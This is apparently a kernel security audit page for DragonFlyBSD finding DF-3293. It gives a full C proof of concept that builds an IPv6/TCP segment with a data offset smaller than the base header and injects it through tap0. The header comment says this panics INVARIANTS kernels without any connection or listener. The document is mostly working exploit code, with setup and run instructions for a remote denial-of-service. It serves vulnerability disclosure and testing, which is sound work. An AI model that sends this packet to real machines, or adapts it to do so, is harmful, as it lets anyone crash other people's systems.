⬢ DragonFlyBSD Kernel Audit
DF-3293 / tcp_off6.c
← back to finding ↓ download raw
/*
 * DF-3293 PoC A - Unauthenticated remote panic: IPv6 TCP segment with
 * data-offset (th_off) < 5 reaches tcp_input() with no runtime validation.
 *
 * tcp_input.c:764-768:
 *      off = th->th_off << 2;
 *      KASSERT(off >= sizeof(struct tcphdr) && off <= tlen, ...);  // INVARIANTS only
 *      tlen -= off;
 *
 * Nothing on the IPv6 path (ip6_input plen checks, tcp6_input pullup of the
 * 20-byte base header) validates th_off against the segment length, so a
 * single crafted IPv6/TCP packet with th_off=4 panics any INVARIANTS kernel
 * (the default X86_64_GENERIC ships with INVARIANTS) *before* pcb lookup -
 * no listener, no connection, no preconditions beyond IPv6 being enabled.
 *
 * Injection: writing a raw ethernet frame to the tap(4) character device
 * hands it to ether_input() exactly like a wire-received packet
 * (sys/net/tap/if_tap.c:tapwrite).
 *
 * Setup (root): ifconfig tap0 create; ifconfig tap0 up;
 *                ifconfig tap0 inet6 fd00::16/64
 * Build:  cc -O -o tcp_off6 tcp_off6.c
 * Run:    ./tcp_off6
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/bpf.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <net/if_dl.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <netinet/tcp.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <arpa/inet.h>

struct ip6_pseudo {
    struct in6_addr src, dst;
    u_int32_t plen;
    u_int8_t  zero[3];
    u_int8_t  nxt;
};

static u_int16_t
cksum(const u_int16_t *w, int len)
{
    u_int32_t sum = 0;

    while (len > 1) {
        sum += *w++;
        len -= 2;
    }
    if (len == 1)
        sum += *(const u_char *)w;
    while (sum >> 16)
        sum = (sum & 0xffff) + (sum >> 16);
    return (u_int16_t)~sum;
}

static int
parse_mac(const char *s, u_char *out)
{
    return sscanf(s, "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
        &out[0], &out[1], &out[2], &out[3], &out[4], &out[5]) == 6;
}

int
main(int argc, char **argv)
{
    unsigned char pkt[sizeof(struct ether_header) + 40 + 20];
    u_char tapmac[ETHER_ADDR_LEN];
    struct ether_header *eh;
    struct ip6_hdr *ip6;
    struct tcphdr *th;
    struct ip6_pseudo ph;
    struct ifreq ifr;
    int fd, n, one = 1;
    if (argc != 1) {
        fprintf(stderr, "usage: %s\n", argv[0]);
        return 1;
    }

    fd = open("/dev/tap0", O_RDWR);
    if (fd < 0) { perror("open /dev/tap0"); return 1; }
    (void)one;

    /* tap0's MAC changes on every create - query it */
    {
        struct sockaddr_dl *sdl;

        memset(&ifr, 0, sizeof(ifr));
        if (ioctl(fd, SIOCGIFADDR, &ifr) < 0) {
            perror("SIOCGIFADDR");
            return 1;
        }
        sdl = (struct sockaddr_dl *)&ifr.ifr_addr;
        memcpy(tapmac, LLADDR(sdl), ETHER_ADDR_LEN);
    }

    memset(pkt, 0, sizeof(pkt));

    eh = (struct ether_header *)pkt;
    memcpy(eh->ether_dhost, tapmac, ETHER_ADDR_LEN);   /* tap0 mac */
    parse_mac("02:00:00:00:00:02", eh->ether_shost);
    eh->ether_type = htons(ETHERTYPE_IPV6);

    ip6 = (struct ip6_hdr *)(pkt + sizeof(struct ether_header));
    ip6->ip6_flow = htonl(0x60000000);
    ip6->ip6_plen = htons(20);          /* exactly one base TCP header */
    ip6->ip6_nxt  = IPPROTO_TCP;
    ip6->ip6_hlim = 64;
    if (inet_pton(AF_INET6, "fd00::2", &ip6->ip6_src) != 1) { perror("pton"); return 1; }
    if (inet_pton(AF_INET6, "fd00::16", &ip6->ip6_dst) != 1) { perror("pton"); return 1; }

    th = (struct tcphdr *)(pkt + sizeof(struct ether_header) + 40);
    th->th_sport = htons(40000);
    th->th_dport = htons(9999);        /* closed port: panic happens pre-lookup */
    th->th_seq   = htonl(1);
    th->th_ack   = htonl(0);
    th->th_off   = 4;                  /* <== 16 bytes < sizeof(struct tcphdr) */
    th->th_flags = TH_SYN;
    th->th_win   = htons(8192);

    /* valid TCP checksum so tcp6_input()'s in6_cksum() passes */
    memset(&ph, 0, sizeof(ph));
    ph.src = ip6->ip6_src;
    ph.dst = ip6->ip6_dst;
    ph.plen = htonl(20);
    ph.nxt  = IPPROTO_TCP;
    {
        unsigned char cc[40 + 20];
        memset(cc, 0, sizeof(cc));
        memcpy(cc, &ph, 40);
        memcpy(cc + 40, th, 20);
        th->th_sum = cksum((u_int16_t *)cc, sizeof(cc));
    }

    n = write(fd, pkt, sizeof(pkt));
    printf("wrote %d/%zu bytes to tap0 (expect kernel panic "
        "\"bad TCP data offset 16 (tlen 20)\")\n", n, sizeof(pkt));
    if (n < 0)
        perror("write");
    sleep(2);
    return 0;
}